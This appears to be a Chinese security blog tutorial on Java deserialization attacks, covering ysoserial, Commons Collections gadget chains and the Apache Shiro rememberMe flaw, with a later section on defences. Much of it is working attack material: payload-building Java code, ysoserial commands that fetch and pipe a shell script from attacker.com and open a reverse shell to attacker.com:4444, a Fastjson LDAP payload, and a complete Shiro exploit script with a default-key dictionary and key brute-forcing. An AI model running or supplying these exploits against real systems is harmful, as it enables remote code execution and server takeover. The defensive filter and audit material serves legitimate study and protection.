Java 反序列化利用链:从 ysoserial 到 Shiro 攻击

发布时间:2026/7/24 18:55:55
Java 反序列化利用链:从 ysoserial 到 Shiro 攻击 技术难度⭐⭐⭐⭐⭐需要 Java 基础 反射机制 一点 ClassLoader 知识演示版本Apache Shiro 1.2.4典型漏洞版本、ysoserial 0.0.6测试环境建议全程在自己搭建的靶场中进行写在前面Java 反序列化为何成为经典如果说 SSRF 是服务器替我敲门那 Java 反序列化就是我让服务器自己执行恶意代码。2015 年Gabriel Lawrence 和 Chris Frohoff 在 AppSecCali 上公布了 Apache Commons Collections 的反序列化利用链整个 Java 生态都震了一下。因为这条链子只用了标准库 一个第三方 jar 包Commons Collections就能在服务器上执行任意命令。更刺激的是几乎所有的 Java Web 应用都直接或间接用到了 Commons CollectionsSpring、Struts、Tiles、Shiro 等框架都躺枪。从那以后ysoserial 横空出世成了 Java 反序列化的瑞士军刀几乎所有主流 Java 框架都被挖出过反序列化漏洞Shiro、WebLogic、Fastjson、Jenkins、JBoss...黑产里挖矿、勒索软件的初始入侵手段Java 反序列化高居前列国内 SRC 平台上一个未修复的 Shiro 反序列化能值 5000-50000 元理解 Java 反序列化利用链是从会用工具的脚本小子进阶到能挖 0day 的研究员的必经之路。一、Java 序列化基础30 秒入门Java 的序列化机制把对象转换为字节流便于存储或网络传输。反序列化则相反。序列化协议结构// 序列化头部 ACED 0005 // 魔数 版本 73 // TC_OBJECT 72 // TC_CLASSDESC ... // 类名、字段描述符一个最简的序列化示例// 序列化 User user new User(admin, 18); ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(user.bin)); oos.writeObject(user); oos.close(); ​ // 反序列化 ObjectInputStream ois new ObjectInputStream(new FileInputStream(user.bin)); User u (User) ois.readObject();魔数Magic NumberJava 序列化数据以字节AC ED 00 05开头base64 编码后是rO0AB。这个特征可以用来快速识别 Java 序列化流量。实战技巧抓包看到 cookie 或参数里有rO0AB、aced0005这种特征直接按反序列化思路挖。关键方法readObject()反序列化的入口readResolve()反序列化后替换对象writeObject()自定义序列化逻辑writeReplace()序列化前替换对象readExternal()/writeExternal()Externalizable 接口重点关注readObject因为攻击者能控制的代码最终会从这里开始执行。二、什么是 Gadget Chain利用链很多初学者把反序列化漏洞理解成反序列化时执行了命令这是错的。反序列化本身只是恢复对象状态不会主动执行任意命令。漏洞的本质是在反序列化过程中应用的代码逻辑readObject或后续调用的方法触发了某条 恶意调用链。这条链子就叫Gadget Chain。一个极简的 Gadget Chain// 假设有这样一个类 public class Evil implements Serializable { private String cmd; private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(cmd); // 在反序列化时执行命令 } } ​ // 攻击者只需要序列化一个 Evil 对象 // 当应用反序列化这个对象时cmd 字段会被执行但现实中不会有这么明显的类。真实的利用链要靠反射 第三方库的魔法方法来构造。反射 动态代理 利用链的发动机反射让你可以动态调用任意方法访问私有字段绕过泛型检查动态代理让你可以在方法调用前后插入任意代码实现任意接口这两个机制组合起来几乎可以模拟任何调用序列。Commons Collections 的InvokerTransformer、Shiro 的Cookie记住我机制都是反射的经典应用。三、ysoserial 工具实战ysoserial 是 Java 反序列化的事实标准工具由漏洞原作者开发。安装git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests # 编译后生成 target/ysoserial-0.0.6-SNAPSHOT-all.jar基础使用# 生成 Commons Collections 5 的 payload java -jar ysoserial-all.jar CommonsCollections5 touch /tmp/pwned cc5.bin ​ # 配合 curl 提交假设漏洞点是 HTTP 参数 curl -X POST http://target.com/api --data-binary cc5.bin ​ # 配合 JRMP 起一个反序列化服务 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 curl http://attacker.com/shell.sh|bashysoserial 内置的 gadget 列表Gadget 名称依赖库优先级CommonsCollections1-7Apache Commons Collections 3.x⭐⭐⭐CommonsBeanutils1commons-beanutils⭐⭐⭐Spring1-2Spring⭐⭐Groovy1Groovy⭐⭐BeanShell1BeanShell⭐⭐ROMEROME⭐Click1Click⭐Hibernate1Hibernate⭐JavassistWeld1Javassist/Weld⭐JBossInterceptors1JBoss⭐MozillaRhino1Rhino⭐MozillaRhino2Rhino⭐Vaadin1Vaadin⭐URLDNS仅 JDK⭐⭐⭐⭐无依赖挖洞时按顺序试URLDNS → CommonsCollections → CommonsBeanutils → Spring → Groovy等等。URLDNS 是什么神仙 gadgetURLDNS 是 ysoserial 里最特殊的一个 gadget只需要 JDK不需要任何第三方库不会执行命令只触发一次 DNS 解析用来验证目标是否存在反序列化漏洞看 DNS 解析记录就行java -jar ysoserial-all.jar URLDNS http://your-dns-burp-collaborator.com urldns.bin发送 payload 到目标如果 DNS 平台收到了解析请求说明目标存在反序列化漏洞。然后再用其他 gadget 打。这是 SRC 挖洞的标准动作——先用 URLDNS 验证再用真实 gadget 执行命令。四、Apache Commons Collections 利用链深度解析Commons CollectionsCC是 Java 反序列化研究的入门教材。我们深入分析 CC1理解 gadget chain 的构造思路。CC1 完整利用链ObjectInputStream.readObject() - AnnotationInvocationHandler.readObject() - AnnotationInvocationHandler.invoke() - LazyMap.get() - ChainedTransformer.transform() - ConstantTransformer.transform() // 获取 Runtime 类 - InvokerTransformer.transform() // 反射调用 getMethod - InvokerTransformer.transform() // 反射调用 forName - InvokerTransformer.transform() // 反射调用 getRuntime - InvokerTransformer.transform() // 反射调用 exec - Runtime.exec(command)关键组件1. InvokerTransformer反射执行器public class InvokerTransformer implements Transformer { private final String iMethodName; // 方法名 private final Class[] iParamTypes; // 参数类型 private final Object[] iArgs; // 参数 ​ public Object transform(Object input) { if (input null) return null; try { Class cls input.getClass(); Method method cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (Exception ex) { throw new FunctorException(...); } } }这是 gadget chain 的发动机——transform方法可以调用任意对象的任意方法。2. ChainedTransformer链式调用public class ChainedTransformer implements Transformer { private final Transformer[] iTransformers; ​ public Object transform(Object object) { for (int i 0; i iTransformers.length; i) { object iTransformers[i].transform(object); } return object; } }把多个 Transformer 串起来前一个的输出作为后一个的输入。3. ConstantTransformer常量提供器public class ConstantTransformer implements Transformer { private final Object iConstant; public ConstantTransformer(Object constant) { iConstant constant; } public Object transform(Object input) { return iConstant; } }提供链的起点常量。比如用new ConstantTransformer(Runtime.class)启动一个调用 Runtime 的链。4. LazyMap懒加载触发点public Object get(Object key) { if (!map.containsKey(key)) { Object value factory.transform(key); // 这里调用 transformer map.put(key, value); return value; } return map.get(key); }当get一个不存在的 key 时会调用factory.transform(key)。5. AnnotationInvocationHandler反序列化入口这是sun.reflect.annotation.AnnotationInvocationHandlerJDK 自带没有 commons-collections 时也能用。它的readObject会在反序列化时遍历 map 的每个 entry 并调用entry.getValue()触发 LazyMap 的get方法。完整 Payload 构造CC1import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import java.util.*; import java.lang.reflect.*; ​ public class CC1 { public static void main(String[] args) throws Exception { // 1. 构造命令执行链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{open -a Calculator}) // macOS }; Transformer chainedTransformer new ChainedTransformer(transformers); ​ // 2. 包装为 LazyMap Map innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, chainedTransformer); ​ // 3. 通过反射创建 AnnotationInvocationHandler Class? handlerClass Class.forName( sun.reflect.annotation.AnnotationInvocationHandler); Constructor? constructor handlerClass.getDeclaredConstructor( Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler (InvocationHandler) constructor.newInstance( Override.class, lazyMap); ​ // 4. 用动态代理包装 Map proxyMap (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler); ​ // 5. 再用 AnnotationInvocationHandler 包装一次外层 Object finalObj constructor.newInstance( Override.class, proxyMap); ​ // 6. 序列化 ObjectOutputStream oos new ObjectOutputStream( new FileOutputStream(cc1.bin)); oos.writeObject(finalObj); } }注意CC1 在 JDK 8u71 之后失效了原因是AnnotationInvocationHandler的 readObject 逻辑改了。实战中要用CC5、CC6、CC7等更稳定的 gadget。CC6更稳的版本CC6 用了HashSetTiedMapEntry绕开了AnnotationInvocationHandler兼容性更好// 关键调用链 HashMap.readObject() - HashMap.hash() - TiedMapEntry.hashCode() - TiedMapEntry.getValue() - LazyMap.get() - ChainedTransformer.transform() - ... 最终执行命令CC6 在 JDK 8u72 之后仍然有效是目前最常用的 CC gadget。五、Apache Shiro 反序列化漏洞深度分析Apache Shiro 是 Java 界最流行的权限框架之一。它的反序列化漏洞比 Commons Collections 更具实战价值——因为 Shiro 的漏洞直接暴露在 HTTP 流量中不需要复杂的协议交互。漏洞背景CVE-2016-4437Shiro 1.2.4受影响版本Shiro 1.2.5漏洞点rememberMeCookieShiro 的 RememberMe 机制Shiro 提供记住我功能登录后用户关闭浏览器仍然保持登录状态。流程登录成功 - 生成 PrincipalCollection - 序列化Java ObjectOutputStream - AES 加密 - Base64 编码 - 写入 Cookie: rememberMexxx请求时读取 Cookie: rememberMe - Base64 解码 - AES 解密 - 反序列化ObjectInputStream - 恢复 PrincipalCollection漏洞原理Shiro 1.2.4 使用了硬编码的 AES 密钥// AbstractRememberMeManager.javaShiro 1.2.4 源码 private static final byte[] DEFAULT_CIPHER_KEY_BYTES Base64.decode( kPHbIxk5D2deZiIxcaaaA );这个密钥是公开的写在 GitHub issue 里攻击者拿到这个密钥后用 ysoserial 生成恶意序列化数据用硬编码密钥 AES 加密Base64 编码替换 Cookie 中的rememberMe字段发送给目标服务器Shiro 反序列化时执行恶意代码漏洞复现环境# 拉取 Vulhub 靶场 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 docker-compose up -d启动后访问http://your-ip:8080登录页面任意账号密码登录提示登录失败但 Set-Cookie 里有rememberMedeleteMe。漏洞利用Step 1探测 Shiro# 直接访问目标如果返回 Set-Cookie 包含 rememberMedeleteMe curl -i http://target.com/logindeleteMe是 Shiro 在反序列化失败时设置的标志。看到这个 Cookie 就可以确认使用了 Shiro。Step 2生成 PayloadShiro 用的是 AES-CBC 加密需要带 IV。ysoserial 默认不带 IV要用专门的工具# 用 shiro-exploit 或者自行构造 java -jar ysoserial-all.jar CommonsBeanutils1 bash -i /dev/tcp/attacker.com/4444 01 cb1.binStep 3加密 Payloadimport base64 from Crypto.Cipher import AES import uuid # 1. 读取 ysoserial 生成的 payload with open(cb1.bin, rb) as f: payload f.read() # 2. 构造 IVShiro 用前 16 字节作为 IV iv uuid.uuid4().bytes # 随机 16 字节 # 3. 加密 key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) cipher AES.new(key, AES.MODE_CBC, iv) encrypted cipher.encrypt(payload b\x00 * ((16 - len(payload) % 16) % 16)) # 4. IV 密文 rememberMe base64.b64encode(iv encrypted).decode() print(frememberMe{rememberMe})Step 4发送请求curl -i http://target.com/login -b rememberMe生成的 rememberMe 值Step 5收反弹 Shellnc -lvnp 4444完整利用脚本#!/usr/bin/env python3 # -*- coding: utf-8 -*- Shiro 反序列化一键利用工具 支持 CBC GCM 两种模式适配不同 Shiro 版本 import sys import base64 import uuid import subprocess import requests from Crypto.Cipher import AES ​ # 默认硬编码密钥 DEFAULT_KEY bkPHbIxk5D2deZiIxcaaaA ​ # 常见硬编码密钥字典 KEYS [ bkPHbIxk5D2deZiIxcaaaA, b4AvVhmFLUs0KTA3Kprsdag, bZ3VucwAAAAAAAAAAAAAAAA, bsuiV1YrGwAAAAAAAAAAAA, bfCq/xW488hMTCDcmJ3aQ, b0AvVhmFLUs0KTA3Kprsdag, b1QWLxgNYmxraMoxAXu/Iw, bZUdsaGJUSmxZbU5sY3c9PQ, b2AvVhdsgUs0FSA3SDFAdag, b3AvVhmFLUs0KTA3Kprsdag, bwGiHplamyXlVB11UXWol8g, b6ZmI6I2j5YR5aSn5ZOlAA, br0e3c16IdVkouZgk1TKVMg, b5aaC5qKm5oqA5pyvAAAAAA, bbWljcm9zAAAAAAAAAAAAAA, bZWvohmPdUsAWT3N_1tB1FQ, bL7RioUULEFhRyxM7a2R/Yg, ba2VlamFjb3JzaW9uX2lkXz4K, ba3dvcmcAAAAAAAAAAAAAAA, bcGhyYWNrY3MAAAAAAAAAAAAA, b2itfW92XazYRi5YtW8BfgA, bfCq/xW488hMTCDcmJ3aQ, beXNoAAAAAAAAAAAAAAAAAAAA, bQ01TQ0Z3PT0AAAAAAAAAAAA, bYmx1ZXdoYWxlAAAAAAAAAA, ] ​ def shiro_cbc_encrypt(key, payload): CBC 模式加密 iv uuid.uuid4().bytes cipher AES.new(key, AES.MODE_CBC, iv) # PKCS7 padding pad_len 16 - len(payload) % 16 padded payload bytes([pad_len] * pad_len) encrypted cipher.encrypt(padded) return base64.b64encode(iv encrypted).decode() ​ def shiro_gcm_encrypt(key, payload): GCM 模式加密Shiro 1.4.2 iv uuid.uuid4().bytes cipher AES.new(key, AES.MODE_GCM, iv) encrypted, tag cipher.encrypt_and_digest(payload) # 拼接 iv encrypted tag return base64.b64encode(iv encrypted tag).decode() ​ def exploit(target, cmd, keyDEFAULT_KEY, modecbc): 完整利用流程 # 1. 生成 ysoserial payload print(f[*] 生成 payload: {cmd}) ysoserial_jar ysoserial-all.jar proc subprocess.run( [java, -jar, ysoserial_jar, CommonsBeanutils1, cmd], capture_outputTrue ) payload proc.stdout ​ # 2. 加密 if mode cbc: rememberMe shiro_cbc_encrypt(key, payload) else: rememberMe shiro_gcm_encrypt(key, payload) ​ print(f[*] 加密完成发送请求到 {target}) ​ # 3. 发送 r requests.get(target, cookies{rememberMe: rememberMe}) print(f[*] 状态码: {r.status_code}) ​ def detect_shiro(target): 探测 Shiro 框架 r requests.get(target) if rememberMe in r.headers.get(Set-Cookie, ): return True # 检查 Set-Cookie if r.headers.get(Set-Cookie, ).startswith(rememberMedeleteMe): return True return False ​ def brute_key(target): 暴力尝试默认密钥 print([*] 尝试默认密钥...) for i, key in enumerate(KEYS): try: # 加密一个普通序列化对象 payload b\xac\xed\x00\x05t\x00\x08whoami if shiro_cbc_encrypt(key, payload): r requests.get(target, cookies{rememberMe: shiro_cbc_encrypt(key, payload)}) # 如果不返回 deleteMe 说明 key 正确 if deleteMe not in r.headers.get(Set-Cookie, ): print(f[] 找到密钥: {key.decode()}) return key except Exception as e: pass return None ​ if __name__ __main__: if len(sys.argv) 3: print(Usage: python shiro_exploit.py target cmd [mode]) print(Example: python shiro_exploit.py http://target.com/login whoami) sys.exit(1) ​ target sys.argv[1] cmd sys.argv[2] mode sys.argv[3] if len(sys.argv) 3 else cbc ​ if detect_shiro(target): print([] 确认目标使用 Shiro) ​ key brute_key(target) or DEFAULT_KEY exploit(target, cmd, key, mode)Shiro 漏洞识别 Checklist# 1. 观察 Set-Cookie 是否包含 rememberMedeleteMe curl -i http://target.com # 2. 发送一个无效的 rememberMe看是否返回 deleteMe curl -i http://target.com -b rememberMeinvalid # 3. 加密一个简单的 Java 对象发送后看是否还返回 deleteMe python -c import base64 from Crypto.Cipher import AES import uuid key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv uuid.uuid4().bytes cipher AES.new(key, AES.MODE_CBC, iv) payload b\\xac\\xed\\x00\\x05test * 4 pad 16 - len(payload) % 16 data cipher.encrypt(payload bytes([pad]*pad)) print(base64.b64encode(ivdata).decode()) 如果不返回deleteMe说明密钥匹配可以继续用 ysoserial 打。六、其他高频反序列化漏洞1. WebLogic 反序列化CVE-2015-4852T3 协议反序列化CVE-2017-3506 / CVE-2017-10271XMLDecoder 反序列化CVE-2019-2725 / CVE-2019-2729wls-wsat 组件CVE-2020-2551IIOP 协议实战要点WebLogic 默认开 T3 协议7001 端口用WebLogicMemShellScan等工具探测利用weblogic_cmd工具一键打2. Fastjson 反序列化CVE-2017-18349、CVE-2019-14439、CVE-2019-14540等利用autoType机制加载恶意类一把梭工具fastjson_exploit# 简单 payload {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://attacker.com/exploit,autoCommit:true}3. Jenkins 反序列化CVE-2017-1000353Java 反序列化导致 RCE工具jenkins_exploit或ysoserial的Jenkins4. JBoss / WildFly 反序列化CVE-2015-7501、CVE-2017-12149等通常通过invoker或JMXInvokerServlet利用5. Apache Dubbo 反序列化近年新出特别是直接面向公网的 Dubbo 服务CVE-2021-30179Hessian2 反序列化CVE-2021-32824Hessian2 gadget6. Log4j 与反序列化Log4j (CVE-2021-44228) 本身是 JNDI 注入但配合序列化数据可以做更深的攻击。七、检测 Java 反序列化漏洞1. 黑盒测试流量特征识别# 流量中看到这些特征要警觉 magic_bytes b\xac\xed\x00\x05 # Java 序列化魔数 b64_pattern rrO0AB # base64 编码的 Java 序列化工具推荐工具用途ysoserial生成 payloadmarshalsecJRMP 监听Burp Suite抓包 插件Java Deserialization ScannerGadgetProbe探测可用的 gadget 链SerializationDumper解析 Java 序列化数据ysoserial-modified增强版支持更多 gadgetSerializationScanner黑盒扫描主动探测技巧# 用 URLDNS gadget 探测 java -jar ysoserial-all.jar URLDNS http://test.burpcollaborator.net payload.bin # 发送 payload看 DNS 平台是否收到解析 ​ # 用 JRMPListener 起一个恶意服务 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 touch /tmp/pwned # 让目标连接你的 1099 端口用 CC gadget 中的 JRMPClient2. 白盒审计危险 API 清单// 危险直接反序列化不可信数据 ObjectInputStream.readObject() XMLDecoder.readObject() XStream.fromXML() SnakeYAML.load() Jackson ObjectMapper.enableDefaultTyping() HessianInput.readObject() // ... 等等审计重点# 1. 搜索反序列化入口 grep -rn readObject\|XMLDecoder\|XStream\|SnakeYAML src/ ​ # 2. 搜索 Shiro rememberMe 配置 grep -rn AbstractRememberMeManager\|rememberMe src/ ​ # 3. 搜索 Java 原生序列化 grep -rn ObjectInputStream\|Serializable src/ ​ # 4. 搜索 Fastjson autoType grep -rn autoType\|enableDefaultTyping src/代码审计工具IDEA 插件FindBugs、SpotBugs、CheckStyleFortify SCA商业Semgrep开源CodeQLGitHub 开源3. RASP 防御百度 OpenRASPJava 反序列化 RASP 防御阿里 ADSJava 安全检测字节火山引擎RASP八、防御方案完整代码示例1. 黑名单基础// 配置 ObjectInputFilter 过滤危险类 ObjectInputFilter filter new ObjectInputFilter() { private final SetString blacklist new HashSet(Arrays.asList( org.apache.commons.collections.functors.InvokerTransformer, org.apache.commons.collections.functors.ChainedTransformer, org.apache.commons.collections.functors.ConstantTransformer, org.apache.commons.collections.functors.InstantiateTransformer, org.apache.commons.beanutils.BeanComparator, org.codehaus.groovy.runtime.ConvertedClosure, org.codehaus.groovy.runtime.MethodClosure, com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, java.lang.Runtime, javax.script.ScriptEngine, // ... 更多 )); Override public Status checkInput(Info info) { Class? clazz info.serialClass(); if (clazz ! null blacklist.contains(clazz.getName())) { return Status.REJECTED; } return Status.UNDECIDED; } }; ​ ObjectInputStream ois new ObjectInputStream(input); ois.setObjectInputFilter(filter);2. 升级到无依赖的 gadget-free 库!-- 用 commons-collections4 替代 3.x避免大部分 CC gadget -- dependency groupIdorg.apache.commons/groupId artifactIdcommons-collections4/artifactId version4.4/version /dependency3. Shiro 专项修复!-- 升级到 1.2.5 -- dependency groupIdorg.apache.shiro/groupId artifactIdshiro-spring/artifactId version1.9.1/version /dependency自定义密钥// application.properties shiro.codecSourcecustom shiro.rememberMe.keyYOUR_RANDOM_64_BYTE_KEY_BASE64_ENCODED ​ // 启动时随机生成 String key Base64.getEncoder().encodeToString(new byte[32]); // 写入配置文件4. 业务层方案// 用白名单类加载器SerializationDumper 工具的原理 public class SafeObjectInputStream extends ObjectInputStream { private static final String[] ALLOWED_PACKAGES { com.yourcompany.model., java.util., java.lang. }; Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name desc.getName(); if (!Arrays.stream(ALLOWED_PACKAGES).anyMatch(name::startsWith)) { throw new InvalidClassException(Unauthorized deserialization: name); } return super.resolveClass(desc); } }5. 流量层检测WAF 规则拦截包含 Java 序列化魔数 (AC ED 00 05) 的请求IDS 规则Suricata/Snort 检测异常 JRMP 流量RASP运行时检测危险调用九、实战 Checklist挖洞时的检查清单1. 资产发现用ShiroScan、Railgun等工具批量扫描 Shiro 资产用Goby批量识别 Java 应用Fofa / ZoomEye / Shodan 搜索特征appApache-ShiroappWebLogicappJenkinsappJBoss2. 漏洞验证看 Set-Cookie 是否有rememberMedeleteMe尝试默认密钥用shiro_exploit工具用 URLDNS 探测是否存在反序列化入口看请求/响应是否有 Java 序列化魔数3. 漏洞利用用ysoserial生成 payload加密 rememberMe Cookie发送 payload反弹 shell内网渗透提权、横移4. 漏洞报告漏洞标题、URL、Payload利用过程截图修复建议具体版本号应急响应清单被攻击方立即升级 Shiro 到 1.9.1更换 rememberMe 密钥检查服务器是否已被植入后门审查日志看异常请求时间点全量排查所有 Java 应用的反序列化风险部署 RASP 监控十、总结Java 反序列化的核心要点维度关键点原理readObject 反射 第三方库魔法方法构造调用链工具ysoserial、marshalsec、GadgetProbe、SerializationDumper高频目标Shiro、WebLogic、Fastjson、Jenkins、JBoss、Dubbo挖洞技巧URLDNS 验证 → 默认密钥爆破 → ysoserial payload防御升级版本、随机密钥、黑名单、流量检测进阶学习路径Java 基础反射、动态代理、ClassLoader源码分析通读 ysoserial 所有 gadget 的源码框架源码看 Shiro、Spring 的反序列化处理逻辑新漏洞跟踪关注 GitHub Security Advisory、CNVD漏洞挖掘从公开 gadget 改造出自己的 chain0day 的起点资源推荐ysoserial 源码必读理解 gadget 构造marshalsecJRMP 攻击神器GadgetProbe运行时探测 gadgetP 牛的 Java 反序列化的前世今生博客园中文圈最经典的文章白帽子讲 Web 安全电子工业出版社先知社区Java 反序列化分类文章《Java 核心技术 卷 1》补 Java 基础写在最后Java 反序列化是一个门槛在 Java 基础深度在 gadget 构造的领域。挖洞时记住Shiro 1.2.4 默认密钥几乎所有大厂都修过但中小厂仍大量存在WebLogic 7001 端口互联网暴露面广Fastjson autoType很多 Java 业务系统仍在用低版本JRMPListener在内网渗透时非常好用希望这篇能帮你打开 Java 反序列化的大门。法律提醒本文所有技术仅供授权测试使用。未经授权对系统进行渗透测试属于违法行为。如果觉得有用点赞 收藏 关注三连支持一下下一篇预告《从 Shiro 到 RCEJava 渗透测试中的完整攻击链》